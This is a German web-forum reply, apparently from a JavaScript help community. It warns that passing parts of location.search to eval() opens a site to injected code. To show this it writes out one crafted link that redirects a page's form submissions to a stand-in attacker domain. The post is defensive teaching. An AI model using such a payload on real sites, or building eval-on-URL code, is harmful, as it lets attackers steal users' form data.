Axel Richter: Variablen in RegExps

Beitrag lesen

Hallo,

Ja, tolle Sache: Man schreibt JavaScript-Code in die URI einer Seite und schon wird der Code im Kontext der Domain ausgeführt. Noch nie war Phising einfacher und zuverlässiger. ;)

So sehe ich das nicht, der Code ist doch Javascript und somit ist der Client "selber schuld".
Ich habs doch nicht nötig, sowas in die Addressenzeile zu schreiben, nur um JavaScript auf meinem Rechner auszuführen :-)

Nein, da hast Du was missverstanden. Würdest Du den Vorschlag von Felix, Teile aus location.search einfach per eval() als JavaScript auszuführen, auf einer Deiner Seiten einsetzen, könntest _Du_ bzw. _Deine_ Nutzer die Geschädigten sein.

Szenario:
Dass Du das eval() auf Teile des location.search anwendest, steht im JavaScript-Code nachzulesen. Dieser muss beim Client ankommen, ist also allen öffentlich zugänglich. Der HTML-Quellcode der Seite, auf der Du das anwendest, ist ebenso öffentlich. Nehmen wir an, Du hättest auf dieser Seite ein Formular. Nun könnte ein böser Mensch diese, Deine Seite, wie folgt verlinken:

http://www.example.org/deineseite.html?typ1=1&typ2=2&document.forms%5B0%5D.action=www.boesedomain.tld%2Fboesescgi.pl

Was passiert? Nach Felix Methode würde das eval() die Anweisung

document.forms[0].action=www.boesedomain.tld/boesescgi.pl

ausführen. Jeder Nutzer, der Deine Seite über diesen bösen Link erreicht, würde die Formulardaten nicht an Dich, sondern an die boesedomain senden.

viele Grüße

Axel